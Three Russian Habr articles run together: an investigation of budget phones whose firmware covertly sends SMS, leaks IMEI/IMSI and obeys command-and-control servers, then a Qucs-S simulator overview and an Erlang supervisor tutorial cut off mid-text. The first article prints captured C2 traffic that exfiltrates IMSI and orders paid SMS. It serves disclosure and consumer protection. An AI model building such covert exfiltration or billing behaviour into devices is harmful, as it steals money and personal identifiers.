> Подтверждаю. Телефон сам отправил смс на этот номер +79584971255. Списалось 2 рубля, сотовый оператор у меня МТС. В телефоне по умолчанию не сохраняются СМС, если это не настроить. Увидел списание в детализации счета. После сброса к заводским настройкам телефон опять отправил смс на этот номер, списалось ещё 2 рубля. Пришёл ответ от поддержки, что они о таком в первый раз слышат. Несмотря на то, что я указал о таком же случае у другого владельца, отправив их сюда прочитать отзыв. Они не захотели разбираться, предположив, что я сам случайно отправил смс или это отправилось смс предыдущего человека, который смотрел телефон.
>
>
На 4pda были обнаружены архивы прошивок от нескольких моделей фирмы BQ, которые очень похожи на прошивки F+. Судя по всему, это не перепакованный архив прошивки от OEM-производителя, содержащий помимо самой прошивки еще и файлы, необходимые для её отладки. В частности, в архивах содержится прошивка в виде .elf-файла, без сжатых секций, с отладочными символами.
Открыв .elf-файл в IDA, мы можем увидеть оригинальные названия функций и переменных.
Функция отправки СМС называется **gmb\_sms\_sales\_send\_sms\_ext**, где gmb — вероятно, gmobi — поставщик сервиса смс-подписок.
Я попытался получить подробности об этой функциональности у производителя. С компанией F+ состоялся следующий диалог:
> Кнопочный телефон F+ Flip 3 в автоматическом режиме и незаметно для пользователя отправляет СМС-сообщения на номер +79584971255 при установке в него российских SIM-карт, причём отправленное СМС-сообщение не сохраняется в памяти телефона. Сообщения содержат IMEI-номер устройства, IMSI-номер SIM-карты, и три фиксированных значения.
> …
> Полный формат сообщения следующий: #IMSI#IMEI#250124#64#1# Где IMSI — IMSI-номер SIM-карты, IMEI — IMEI-номер телефона.
>
> С какой целью данная функциональность внедрена в устройства F+?
> **>>> Нет информации.**
>
> Почему о ней не заявляется на официальном сайте, коробке или инструкции устройства?
> **>>> Потому что этот функционал внедрён не нашими инженерами.**
>
> Как обрабатываются полученные данные?
> **>>> Нет информации.**
>
> Какому юридическому или физическому лицу принадлежит номер +79584971255?
> **>>> Нет информации.**
>
> **03.06.2021**: Мы занимаемся решением данной проблемы. На новых ревизиях с новой прошивкой такой проблемы нет. Однако новая прошивка несовместима со старой ревизией телефонов. Как только в сервисе появится новая прошивка для старых ревизий я Вам сообщу.
>
> **15.06.2021**: В сервисный центр поступила прошивка SW06 в которой решена эта проблема, обратитесь в ближайший сервисный центр из списка по ссылке <https://fplusmobile.ru/support/> для перепрошивки Вашего телефона.
>
>
На просьбу выложить обновлённую версию прошивки в открытый доступ получил отказ и игнорирование дальнейших вопросов.
От BQ, прошивки которых я проанализировал и нашел подобную функциональность (отправка СМС на +79629511090), получил только совет обратиться в сервисный центр, с игнорированием дальнейших вопросов.
DEXP SD2810**DEXP SD2810** от российского бренда сети магазинов DNS.
Опасный телефон, расходующий деньги мобильного счёта.
• Не содержит браузера, но подключается к GPRS
• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт IMEI, IMSI
• Обращается к CnC в интернете и выполняет его команды
• Отправляет платные СМС на короткие номера с текстом, полученным с сервера
Телефон периодически отправляет POST-запросы по незашифрованному HTTP-соединению на домен **www.mgs123.com**, выполняет ответы сервера на отправку СМС-сообщений.
```
POST http://www.mgs123.com:8080/fee/mergserv HTTP/1.1
Host: www.mgs123.com
Accept: */*
User-Agent: MOT-E398/0E.20.34R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 UP.Link/5.1.2.6
Content-Length: 177
BCMD=GetFeeConfig&CRTY=6&IMSI=250991625668426&RIMSI=250991625668426&CTYPE=1&CVER=2001&NONCE=151927053004&PLMN=25099&PMOD=8411&PNUM=&RTYPE=A&SIGN=7295DD12B0B11CF997AC8B4A593D82FA
xml version="1.0"?
GetFeeConfig
4169
2
6000
-1
1
null
0
50.0RUB
Оплата услуги на 4169%7C88001000633
sms
2
0
Отправьте 2 в ответ на данное
1
50.0
45
1
171
0
20210815
1
gooo mgs
```
Сервер сообщает, на какой номер отправить СМС (директива FNUM, номер 4169), содержание или префикс сообщения (директива FCON, сообщение gooo mgs), а также, помимо всего прочего, ожидаемый ответный текст (CCON, "Отправьте 2 в ответ на данное") и текст ответной СМС (GRABSMS, "2").
Домен **www.mgs123.com** зарегистрирован в Китае, хостинг тоже находится в этой стране:
```
$ whois mgs123.com | grep Registrar
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://whois.aliyun.com
Registrar Registration Expiration Date: 2024-08-01T08:22:22Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
Registrar Abuse Contact Phone: +86.95187
$ dig +short www.mgs123.com
121.201.57.203
$ whois 121.201.57.203 | grep descr
descr: Guangdong RuiJiang Science and Tech Ltd.
descr: Room 404 ,No.100, Lingnan Avenue North,
descr: Lingnan Building, Foshan, GuangDong,
descr: CNC Group CHINA169 Guangdong Province Network
descr: Addresses from CNNIC(HUANDAO)
```
Факт отправки SMS-сообщения, захваченный через собственную GSM-сеть.Выдержка из новости "[Новокузнечанин купил телефон со встроенной «функцией разорения счёта»](https://www.city-n.ru/view/421207.html)":
> 02.01.2019, мы приобрели телефон Dexp SD2810 [...] в день покупки мы вставили сим-карты и спустя 2 часа со счёта произошло списание денежных в размере 50 рублей. По детализации я увидел, что была отправка смс на номер 4446 и заказан какой-то развлекательный контент [...]
>
> 15.01.2019 и 02.02.2019 также были отправлены смс на этот же номер 4446 и списано по 50 р. за каждую.
>
>
DEXP не ответил на запрос о вредоносной функциональности.
Irbis SF63Модель **SF63** от российского OEM-поставщика **Irbis**.
Опасный телефон, использующий номер вашего телефона в коммерческих целях, для регистрации сторонних лиц в интернет-сервисах.
• Не содержит браузера, но подключается к GPRS
• Сообщает «о продаже» через интернет, без предупреждения
• Передаёт зашифрованные данные на сервер
• Обращается к CnC в интернете и выполняет его команды
Этот «бабушкофон» шёл из магазина с «чистой», обновлённой прошивкой. В интернете для этой модели была найдена одна единственная версия "IRBIS\_SF63\_GC9106\_CTC\_V05\_GSM\_FM\_20181010.pac", которая и была установлена на устройство. Она оказалась с бекдором.
Телефон, как и в случае с DEXP, отправляет POST-запросы по HTTP, но эта модель шифрует передаваемые данные собственным алгоритмом с, по всей видимости, фиксированным ключом — шифрованные параметры большую часть времени одинаковы, а если меняются, то незначительно.
Данные передаются на домен **hwwap.well2266.com**.
```
GET /checkupdate?p=hxB4ZvBrVc9Hl8wcdORsVcZHmHetYc9sSHwEhuvtWc5Hkf0EYcF0SHGolxF4VEdrXcFsWERwWEhzW8RxSHGoifF4VudsXclvVc9rVuBzVuBySI6NhgZ4WEduVdZHlxV4WuFrVulrVc9sVc9HiHOvYc9HlxwuYc9HmxOrYc9HlHeIYfONk7iwlyWFYcRHjgitYc9HmPsEYc9HhHZ4Vc5oVc5oVE5sX75sWcJsWcJtVB%3D%3D HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Host: hwwap.well2266.com:8077
Connection: Keep-Alive
Cache-Control: no-cache
User-Agent: MAUI WAP Browser
Accept-Charset: utf8,gb2312
HTTP/1.1 200
Server: nginx/1.12.0
Date: Sat, 19 Jun 2021 15:11:06 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 28
Connection: keep-alive
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: must-revalidate
hfWvjgiGiQa2VE5tVbvrWDvsXgv=
```
Домен зарегистрирован и хостится в Китае, в облаке Alibaba.
```
$ whois well2266.com | grep Registrar
Registrar WHOIS Server: grs-whois.hichina.com
Registrar URL: http://whois.aliyun.com
Registrar Registration Expiration Date: 2023-06-17T02:47:49Z
Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
Registrar Abuse Contact Phone: +86.95187
$ dig +short hwwap.well2266.com
47.88.242.46
$ whois 47.88.242.46 | grep Organization
Organization: Alibaba.com LLC (AL-3)
```
Выдержка из заметки "[Бабушкофон ворующий смс и телеграм-аккаунты](https://tjournal.ru/stories/351729-babushkofon-voruyushchiy-sms-i-telegram-akkaunty)"
> Началось все 24 октября 2020 года. [...] телефон радостно прислал мне уведомление, что новый контакт зарегистрировался в телеграм. Сон как рукой сняло ибо в телеграме зарегистрировалась бабушка моей девушки.
>
>
Выдержка из заметки "[Как получить доступ к смс любого номера или Билайн пробивает дно](https://pikabu.ru/story/kak_poluchit_dostup_k_sms_lyubogo_nomera_ili_bilayn_probivaet_dno_7468291)"
> Сегодня приходит сообщение в телеграмме, что моя бабушка теперь в Telegram!
>
> Я сильно удивился, ведь бабушке уже больше 80 лет, телефон кнопочный, без доступа в интернет.
>
> Позвонил ей, уточнил, говорит, что недавно приходил смс-код от номера Telegram.
>
>
Скриншот диалога с зарегистрированным в Telegram номером телефона. На том конце сообщают, что номер куплен на сайте numbersell.com
Результаты
----------
4 из 5 телефонов содержат незадекларированную функциональность, из них:
• 2 модели расходуют деньги со счёта (отправляют данные после покупки через СМС/интернет);
• 1 модель выходит в интернет и отправляет платные СМС-сообщения на короткие номера;
• 1 модель пересылает входящие сообщения через интернет.
Кто виноват?
------------
Прежде всего **виноват бренд**, под которым продаются телефоны. Бренд заказывает разработку самого устройства и прошивки для него у OEM-производителя, но не проверяет конечное устройство на наличие незадекларированных возможностей. По какой-то причине, многие бренды не выкладывают прошивку на сайт, а отправляют обновлять устройство в сервисный центр в случае проблем.
Бренды F+ и BQ отрицают проблему или умалчивают о ней.
**OEM-производитель** готов внедрить любой каприз бренда или производителя сторонних модулей, за *ваши же* деньги.
**Отсутствие в России специализированного министерства**, которое бы занималось подобными проблемами. Минцифры (бывший Минсвязи) проверяют только сертификацию продукции на соответствие мировым и российским стандартам связи, но не функциональность конечного устройства.
Минцифры порекомендовало обращаться в Роспотребнадзор, перенеся проблему в плоскость продавец-покупатель.
> Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации [...] рассмотрело Ваше обращение о производителе оборудования ООО «Ф-Плюс Мобайл» и сообщает следующее.
>
> Согласно Положению, **Минцифры России осуществляет функции по выработке и реализации государственной политики и нормативно-правовому регулированию в сфере связи** [...]
>
> Информируем, что **средства связи**, указанные в Вашем первоначальном обращении, **прошли процедуру обязательного подтверждения соответствия Правилам применения оборудования радиодоступа**. [...]
>
> Следует отметить, что в соответствии с Правилами при декларировании телефонных аппаратов для сетей подвижной радиотелефонной связи **проверка наличия или отсутствия отправки коротких сообщений в автоматическом режиме не предусмотрена.**
>
> Федеральный государственный надзор в области защиты прав потребителей осуществляется уполномоченным федеральным органом исполнительной власти – Федеральной службой по надзору в сфере защиты прав потребителей и благополучия человека (**Роспотребнадзор**).
>
>
Что делать?
-----------
Мобильных телефонов огромное количество, проверить их все невозможно.
* Покупайте только проверенные мировые бренды: телефоны Nokia не содержат вредоносной функциональности, но и стоят в 2-4 раза дороже «отечественных» аналогов;
* Читайте отзывы перед покупкой: лучше купить проверенную модель, давно присутствующую на рынке, с безупречной репутацией, чем рисковать с новинками;
* Отслеживайте поведение нового телефона после покупки в течение суток, по детализации оператора;
* Пишите в Роспотребнадзор, ФСБ (?) и производителю, если обнаружили непонятную активность.
…а что с приёмом СМС?
---------------------
Ни один из купленных телефонов не предоставляет полноценный AT-порт через USB или Bluetooth. Чтение SMS-сообщений с компьютера не реализовано нигде.
Обновления
----------
* [@ILYA\_ZX](/users/ilya_zx) сделал [распаковщик раздела STONE](https://habr.com/ru/post/575626/comments/#comment_23437406) процессоров Spreadtrum.
* Представитель DNS [прокомментировал](https://habr.com/ru/post/575626/#comment_23439122) статью, запущена [отзывная кампания](https://www.dns-shop.ru/news/374ef223-0bc4-11ec-a2b1-00155dbd7634/) моделей DEXP B281 и DEXP SD2810
* ilyakurdyukov сделал [дампер прошивки для чипсетов SC6531E/SC6531DA](https://github.com/ilyakurdyukov/spreadtrum_flash) | https://habr.com/ru/post/575626/ | null | ru | null |
# Симулятор электронных схем Qucs-S снова жив
Qucs-S является программой с открытым исходным кодом для моделирования электронных схем. Qucs-S кроссплатформенный (поддерживаются Linux, Windows и FreeBSD), написан на С++ с использованием набора библиотек Qt и разрабатывается полностью в частном порядке (в отличие, например от KiCAD, который имеет спонсора в лице CERN). В феврале этого года проект восстал из мёртвых и вышел релиз 0.0.23. Главным новшеством версии 0.0.23 было то, что программа теперь портирована на Qt5, чем обеспечена собираемость на современных дистрибутивах Linux. Актуальным релизом на текущий момент является 0.0.24 <https://github.com/ra3xdh/qucs_s/releases/tag/0.0.24>, в котором добавлено несколько новых видов моделирования. Далее будут рассмотрены основные возможности программы и показано как в Qucs-S смоделировать схему.
История разработки
==================
Qucs-S является форком проекта Qucs, который начали разрабатывать немцы Stefan Jahn и Michael Margraf в 2003 году. В настоящее время материнский проект практически неактивен и последний релиз был в 2017 году. Изначально Qucs поставлялся со своим собственным движком моделирования, нацеленным более на анализ ВЧ схем в частотной области. Этот движок имел серьёзные проблемы со сходимостью при моделировании во временной области и был несовместим со SPICE, что не позволяло напрямую применять модели электронных компонентов, распространяемые производителями.
В 2014 году я начал разработку набора патчей, который бы позволял подключать к Qucs в качестве движка открытый Ngspice. В итоге эта разработка привела к созданию форка Qucs-S (Qucs with SPICE). В 2017-2020 годах вышло три релиза Qucs-S, последние из которых были корректирующими, проект был скорее мёртв. В этом году я провёл ритуал некромантии, портировал Qucs-S на Qt5, и тем самым возвратил программу к жизни.
Про основы работы в Qucs и про Qucs-S рассказывают мои предыдущие статьи:
* Qucs — open-source САПР для моделирования электронных схем <https://habr.com/ru/post/248005/>
* Новый кандидат в релизы САПР Qucs-0.0.19S-RC6 <https://habr.com/ru/post/302006/>
Поддерживаемые движки моделирования
===================================
В настоящее время Qucs-S поддерживает четыре движка моделирования:
* [Ngspice](http://ngspice.sourceforge.net/) Это рекомендованный симулятор. Он совместим с большинством моделей, которые можно найти на разнообразных ресурсах. Сейчас проектом руководит Holger Vogt из университета Дуйсбург-Эссен.
* [XYCE](https://xyce.sandia.gov/) Это симулятор разработанный с нуля Сандийскими национальными лабораториями. Имеется возможность моделирования гармонического баланса (HB) и S-параметров.
* [SpiceOpus](http://www.spiceopus.si/)
* [Qucsator](https://github.com/qucs/qucsator) Это изначальный движок, применявшийся в Qucs. Имеет возможность моделированя S-параметров, но нестабилен во временной области.
Qucs-S поддерживает все виды моделирования реализованные в применяемом SPICE-движке, а именно моделирования во временной и частотной области, шумовой анализ, анализ нелинейных искажений, Фурье-анализ, моделирования гармонического баланса.
Установка
=========
Для Linux имеются репозитории для Debian/Ubuntu, Fedora и OpenSUSE. Имеются также пакеты для Arch, которые можно установить через AUR, и порт для FreeBSD. Для нестандартных случаев можно собрать Qucs-S из исходников или воспользоваться AppImage. Поддержку своего дистрибутива Linux можно [проверить здесь](https://download.opensuse.org/repositories/home:/ra3xdh/). Бинарные пакеты собираются автоматически при помощи OpenSUSE Build Service.
Сам Qucs-S не предоставляет движка моделирования. Рекомендуется использовать Ngspice, который для Debian/Ubuntu устанавливается по зависимостям, а в прочих случаях его нужно установить вручную.
Для Windows следует скачать zip-архив с portable версией Qucs-S со страницы релиза. Далее нужно распаковать архив и запустить файл qucs-s.exe из поддиректории bin. Ngspice следует скачать с официального сайта и установать в C:\Spice64, иначе не будут работать модели XSPICE. При первом запуске следует указать путь к файлу ngspice\_con.exe в настройках программы. Последние версии Ngspice для Windows теперь поставляют два исполняемых файла ngspice.exe и ngspice\_con.exe Для правильной работы Qucs-S нужен ngspice\_con.exe, который может писать логи в консоль. Обычный ngspice.exe запускает графическое окно, и все текстовые сообщения остаются внутри этого окна.
Основы работы с программой
==========================
При первом запуске Qucs-S сообщит, что нужно выбрать движок моделирования и откроет диалоговое окно, показанное на скриншоте. В последствии настройки можно поменять в меню Simulation->Select default simulator. Под Linux Ngspice обычно расположен в /usr/bin/ngspice, а под Windows устанавливается по умолчанию в C:/Spice64/bin/ngspice\_con.exe
После того как выбран симулятор, открывается окно редактора схемы. Теперь можно смоделировать какую-нибудь схему. Для примера соберём инвертирующий усилитель Нортона на операционном усилителе NE5532. Редактирование схемы в Qucs интуитивно понятно и те, кто работал с другими электрическими САПР, легко разберутся с редактором. Следует отметить несколько особенностей. Виды моделирования и диаграммы также являются компонентами и размещаются на схеме. Они находятся в группах Simulations и Diagrams и выбираются из панели компонентов в правой части окна, откуда их можно перетаскивать на поле схемы. Операционный усилитель является библиотечным компонентом и его следует взять со вкладки Libraries в правой части окна. Собираем схему и размещаем на ней виды моделирования. Требуется смоделировать переходный процесс (Transisent analysis) и АЧХ схемы (AC analysis) Должно получиться как показано на скриншоте. Вход и выход схемы нужно пометить при помощи Insert->Wire label.
Уравнение также является особым компонентом и вставляется через меню Insert→Equation или кнопкой на панели инструментов. Способ задания уравнений в Qucs-S отличается от того, что было в Qucs. Теперь в первом параметре нужно выбрать из списка к какому виду моделирования относится уравнение, так как для напряжений и токов используется нотация SPICE. Например `v(out)` это напряжение на узле `out` Диалоговое окно, открываемое при двойном клике по уравнению, показано на скриншоте. Данное уравнения рассчитывает коэффициент усиления схемы в децибелах.
После того, как схема собрана, выбираем в главном меню Simulation->Simulate или нажимаем на клавиатуре F2 и запускаем моделирование. Появляется окно в котором сообщается, что Ngspice промоделировал схему без ошибок.
Ознакомившись с отчётом симулятора, нажимаем Exit и переходим на страницу просмотра, где можно разместить диаграммы. Диаграммы также можно разместить и прямо на схеме как это сделано на КДПВ. Сигналы, которые нужно вывести на диаграмму можно выбрать в диалоговом окне свойств диаграммы. На следующих двух скриншотах показан диалог свойств диаграммы и окно просмотра с АЧХ и осциллограммами сигналов на входе и на выходе. Видно, что усилитель усиливает сигнал.
На диаграммах можно размещать маркеры, которые действуют аналогично курсорам на цифровом осциллографе. Начиная с версии Qucs-S 0.0.24 теперь можно задавать точную позицию маркера по оси X в диалоговом окне свойств. Например можно установить маркер точно на частоте 1 кГц на графике АЧХ.
Новые виды моделирования в Qucs-S
=================================
Ngspice начиная с версии 37, которая вышла в мае этого года, поддерживает моделирование S-параметров. В Qucs-S начиная с версии 0.0.24 также можно промоделировать S-параметры при помощи Ngspice и больше не требуется устанавливать и использовать для этой цели Qucsator. Пример схемы широкополосного усилителя высокой частоты для КВ трансивера показан на скриншоте.
До версии Qucs-S 0.0.24 требовалось прибегать к написанию скрипта постпроцессора Ngspice, чтобы выполнить анализ спектра (FFT). Начиная с версии 0.0.24 в приложении реализован специальный вид моделирования: анализ спектра (Spectrum ananlysis – FFT). Пример моделирования спектра на выходе диодного кольцевого смесителя показан на скриншоте. Параметрами данного моделирования являются полоса частот (BW), шаг по частоте (dF) и тип оконной функции.
Заключение
==========
Симулятор Qucs-S восстал из мёртвых и теперь будет развиваться. В планах у меня синхронизировать релизы с новыми функциями, появляющимися в Ngspice. Например в Ngspice-38 разработчики планируют добавить поддержку цифровых компонентов, совместимых по синтаксису нетлиста и списка цепей с LTSpice. Как только они будут доступны в Ngspice, я добавлю их поддержку в Qucs-S. Также в следующем релизе планируются некоторые улучшения пользовательского интерфейса.
Помощь в разработке приветствуется. В профиле проекта на Гитхабе можно ознакомиться с багтрекером и планами [дальнейшей разработки программы](https://github.com/ra3xdh/qucs_s). Если планируете какое-то глобальное улучшение, то рекомендуется предварительно написать и изложить, что вы собираетесь делать. Также проекту можно помочь финансово через страницу на [Boosty](https://boosty.to/qucs_s) и тем самым тоже приблизить следующий релиз.
Ресурсы по Qucs-S
=================
* [Сайт проекта](https://ra3xdh.github.io/)
* [Сайт Ngspice](https://ngspice.sourceforge.io/)
* [Репозиторий исходных кодов](https://github.com/ra3xdh/qucs_s)
* [Актуальный релиз](https://github.com/ra3xdh/qucs_s/releases/tag/0.0.24)
* [Страница на Boosty](https://boosty.to/qucs_s), где можно поддержать проект финансово
* Видео-туториал на английском языке от Kasper Nielsen: <https://www.youtube.com/watch?v=90RaVy38DB8>
* Видео-туториал на русском языке от канала Deztronica: <https://www.youtube.com/watch?v=2HyK5TZ3c2k> | https://habr.com/ru/post/678526/ | null | ru | null |
# Использование контролёров для того, чтобы удержать ErlyBank на плаву
Это четвертая статья в [серии «Введение в ОТП»](http://habrahabr.ru/tag/otp%20introduction/). Если вы только что присоединились к нам, рекомендую [начать с первой части](http://habrahabr.ru/blogs/erlang/55708/), в которой говорится о gen\_server и закладывается фундамент нашей банковской системы. Если же вы способный ученик, можете взглянуть на готовые к настоящему моменту модули: [eb\_server.erl](http://spawnlink.com/otp-intro-2-gen-fsm-eb-server-authorization/index.html), [eb\_event\_manager.erl](http://spawnlink.com/otp-intro-4-supervisors-eb-event-manager/index.html), [eb\_withdrawal\_handler.erl](http://spawnlink.com/otp-intro-4-supervisor-eb-withdrawal-handler/index.html) и [eb\_atm.erl](http://spawnlink.com/otp-intro-2-gen-fsm-eb-atm-cancel/index.html).
**Сценарий**: Момент, который нам нравится в банках и банкоматах, заключается в том, что они всегда на том же месте. Используя банкомат, мы можем снять или положить деньги когда захотим, 24 часа в сутки. Или пойти в любое отделение банка, когда оно открыто, зная, что будем иметь полный доступ к нашим финансам. Чтобы гарантировать это, необходимо быть уверенным в том, что наша система автоматизации ErlyBank всегда остается рабочей: процессы должны быть запущены постоянно. ErlyBank поручил нам реализовать эту цель. Стопроцентный uptime! (Или настолько близкий, насколько мы сможем обеспечить)
**Результат**: Используя контролёр (*supervisor*) OTP, мы создадим процесс, чья обязанность — следить за запущенными процессами и удостовериться, что они активны.
#### Что такое *контролёр*
Контролёр — это процесс, который отслеживает то, что называется дочерними процессами. Если дочерний процесс «сдулся», контролёр использует стратегию перезапуска (*restart strategy*) этого потомка для перезапуска. Этот способ может обеспечить вечную работоспособность систем Erlang.
Контролёр — часть того, что называется деревом контроля (*supervision tree*). Хорошо написанное приложение Erlang/OTP запускается, начиная с корневого контролёра, который следит за дочерними контролёрами, которые, в свою очередь, отслеживают дополнительные контролёры или процессы. Идея в том, что если контролёр вылетает, контролёр-родитель его перезапускает, и так далее вверх до корневого контролёра. В среде исполнения Erlang присутствует отличный режим, в котором вся система отслеживается и рестартует, если умирает корневой контролёр. Таким образом, дерево контроля всегда будет работоспособно.
У контролёра есть только **один метод обратной связи**: *init/1*. Его задача — вернуть список дочерних процессов и стратегии перезапуска для каждого процесса, чтобы контролёр знал, за чем следить и что предпринять, если что-то пойдет не так.
#### Разделяем eb\_server и менеджер событий
Одна из вещей, которые я реализовал в предыдущей статье о gen\_events, заключалась в явном запуске процесса менеджера событий в методе инициализации модуля eb\_server. Тогда это было единственной возможностью, которая у меня была, если я действительно хотел с легкостью запустить сервер с такой зависимостью. Но теперь, раз мы собираемся реализовать запуск и остановку, используя контролёр, у нас есть возможность запустить менеджер событий в дереве контроля. Так что давайте-ка уберем запуск eb\_event\_manager из кода сервера.
Чтобы сделать это, просто уберите строку 84, которая запускает менеджер событий, из модуля eb\_server. Так же я добавил на это место вызов *add\_handler*, чтобы подключить к менеджеру событий обработчик *eb\_withdrawal\_handler* (*если вы последовательно читаете и реализуете описанное в настоящем цикле переводов, включая дополнение к предыдущей статье, то вам ничего добавлять не нужно, потому что мы уже сделали это ранее; после исключения запуска менеджера событий ваш код метода инициализации должен выглядеть так же, как нижеследующий — прим. переводчика*). Теперь метод *init* модуля eb\_server должен выглядеть подобно этому:
`init([]) ->
eb_event_manager:add_handler(eb_withdrawal_handler),
{ok, dict:new()}.`
[Кликните сюда](http://spawnlink.com/otp-intro-4-supervisors-eb-server-event/index.html), чтобы увидеть eb\_server.erl после внесенных изменений.
#### Каркас контролёра
Основной каркас для написания контролера можно увидеть [здесь](http://spawnlink.com/otp-intro-4-supervisors-eb-sup-skeleton/index.html). Как вы могли заметить, в нем присутствует метод запуска и базовый метод инициализации, который на данный момент возвращает стратегию перезапуска и несуществующие спеки потомка. Стратегии перезапуска (*restart stategies*) и спецификации потомков (*child specifications*) раскрываются в следующих разделах этой статьи.
Сохраните каркас как eb\_sup.erl. Именование этого файла — еще одно соглашение. Контролёр определенной группы всегда имеет суффикс "*\_sup*." Это не обязательное требование, но является стандартной практикой.
#### Стратегии перезапуска
Контролёр имеет единую стратегию перезапуска, которую он использует в сочетании со спецификациями потомков, чтобы определить действия в случае, если один из его потомков умрет. Нижеследующий список содержит возможные стратегии перезапуска:
* *one\_for\_one* — Когда один из дочерних процессов умирает, контролёр перезапускает его. Другие потомки не трогаются.
* *one\_for\_all* — Когда один из дочерних процессов умирает, все другие потомки останавливаются, а затем все перезапускаются.
* *rest\_for\_one* — Когда один из дочерних процессов умирает, «остаток» потомков, определенных в списке спецификаций потомков после умершего, завершается, после чего они все стартуют заново.
Стратегия перезапуска указывается в следующем формате:
`{RestartStrategy, MaxRetries, MaxTime}`
Его очень просто понять, проговорив по-русски: Если потомок перезапускается чаще, чем *MaxRetries* раз за *MaxTime* секунд, то контролёр завершает все дочерние процессы и затем прекращает работу сам. Это сделано для того, чтобы предотвратить бесконечную петлю перезапусков потомка.
#### Синтаксис и основные понятия спецификации потомков
Метод *init* контролёра отвечает за возврат списка спецификаций потомков. Эти спецификации рассказывают контролёру, какие процессы запускать и как это сделать. Контролёр запускает процессы в порядке «слева направо» (от начала списка к его концу). Стратегия перезапуска — это кортеж со следующим форматом:
`{Id, StartFunc, Restart, Shutdown, Type, Modules}
Определения:
Id = term()
StartFunc = {M,F,A}
M = F = atom()
A = [term()]
Restart = permanent | transient | temporary
Shutdown = brutal_kill | int()>=0 | infinity
Type = worker | supervisor
Modules = [Module] | dynamic
Module = atom()`
*Id* используется только внутри контролёра для хранения спецификации потомков, но общее соглашение подразумевает использование в качестве ID имени модуля, за исключением случаев, когда вы запускаете несколько экземпляров модуля; в последнем случае добавьте к ID номер.
*StartFunc* — это кортеж в формате *{Module, Function, Args}*, который указывает функцию, вызов которой запускает процесс. **ОЧЕНЬ ВАЖНО**: функция запуска *обязана* запустить процесс и привязать (link) к нему и должна вернуть *{ok, Pid}*, *{ok, Pid, Other}* или *{error, Reason}*. Обычные методы OTP start\_link следуют этому правилу. Но если вы реализуете модуль, который запускает свои собственные процессы, убедитесь, что используете для их запуска *spawn\_link*.
*Restart* — один из трех атомов (*atom*), описанных в блоке кода выше. Если в качестве *restart* используется атом "*permanent*", то процесс всегда запускается заново. Если значение — "*temporary*", то процесс никогда заново не запускается. И если это значение равно "*transient*", то процесс запускается заново только в случае непредвиденного завершения.
*Shutdown* объясняет контролёру, как завершать дочерние процессы. Атом "*brutal\_kull*" завершает потомка без вызова его метода завершения. Любое целое число выше нуля подразумевает таймаут для корректного завершения. Атом "*infinity*" вежливо завершит процесс и будет ждать его остановки вечно.
*Type* говорит контролеру, что из себя представляет потомок: другой контролёр или любой прочий процесс. Если это контролёр, используйте атом «supervisor», иначе воспользуйтесь атомом «worker».
*Modules* — это либо список модулей, на которые этот процесс влияет, либо атом «dynamic». В 95% случаев в списке для этого значения вы будете использовать единственный модуль обратной связи OTP. «Dynamic» используется в случае, если процесс — gen\_event, так как его влияние на модули динамическое (различные обработчики, которые не могут быть определены сразу). Этот список используется только для управления релизами и не важен в контексте данной статьи, но будет использоваться в одной из будущих статей, посвященной управлению релизами.
Ух! Так много информации для усвоения за столь короткое время. У меня ушло довольно много времени на то, чтобы запомнить формат спецификаций потомков и различные стратегии перезапуска, так что не переживайте, если не можете сделать этого сразу. Вы всегда можете освежить информации в [руководстве по контролёрам](http://www.erlang.org/doc/man/supervisor.html).
#### *Спека потомка* менеджера событий
Первое, что требуется запустить — это менеджер событий, потому что сервер от него зависит. Спецификация потомка выглядит как-то так:
`EventManager = {eb_event_manager,{eb_event_manager, start_link,[]},
permanent,2000,worker,dynamic}.`
После чтения раздела о синтаксисе спецификации потомков этот кусок кода должен быть достаточно простым. Возможно, вам понадобится вернуться назад и свериться с описанием, чтобы понять действие каждого параметра, и это абсолютно нормально! Лучше задержаться и разобраться в коде, чем покивать головой и забыть все через пару минут. Я полагаю, что одной «странной» штукой в описании спецификации будет указание списка модулей как «dynamic» (*динамический; в данном случае это атом — прим. переводчика*). Это сделано потому, что речь идет о gen\_event, и список модулей, которые в нем используются, динамический, т.к. к нему подключаются обработчики (*число которых может меняться в процессе работы — прим. переводчика*). В прочих случаях вы должны перечислить все модули, которые использует процесс.
Вот метод инициализации после включения в него спеки потомков:
`init([]) ->
EventManager = {eb_event_manager,{eb_event_manager, start_link,[]},
permanent,2000,worker,dynamic},
{ok,{{one_for_one,5,10}, [EventManager]}}.`
Я предпочитаю каждую спецификацию потомка присвоить переменной, и затем использовать содержимое этих переменные для возврата, нежели поместить спеки непосредственно в возвращаемое значение. Одна из крупнейших мозолей Erlang проявляется в момент, когда программист встраивает списки и кортежи так глубоко, что вы не можете увидеть, где заканчивается один и начинается другой, поэтому рекомендую и вам присвоить каждый переменной.
Если вы сейчас скомпилируете и запустите контролёр (я думаю, стоит это сделать!), то после запуска метода start\_link, принадлежащего контролёру, введите *whereis(eb\_event\_manager)*, и команда должна вернуть идентификатор (*pid*) процесса менеджера событий. Затем, если вы убьете контролёр, выполнив *exit(whereis(eb\_sup), kill)*, и потом попытаетесь снова получить идентификатор eb\_event\_manager, то в ответ должны получить сообщение о том, что он не определен, так как процесс был убит.
Так же, для прикола, убейте eb\_event\_manager во время работы под управлением контролёра. Подождите несколько секунд и проверьте процесс. Он должен восстановиться!
#### Сервер и банкомат
Со справкой по спецификации потомков и примером, приведенным выше, вы должны знать достаточно для того, чтобы запустить сервер и банком. Так что если вы чувствуете эту задачу заманчивой, сделайте это сейчас. Если же нет, то я привел спецификации и для того, и для другого ниже:
`Server = {eb_server, {eb_server, start_link, []},
permanent,2000,worker,[eb_server]},
ATM = {eb_atm, {eb_atm, start_link, []},
permanent,2000,worker,[eb_atm]},`
После создания этих спецификаций добавьте их в список, возвращаемый инициализационным методом. Убедитесь, что поставили их после менеджера событий.
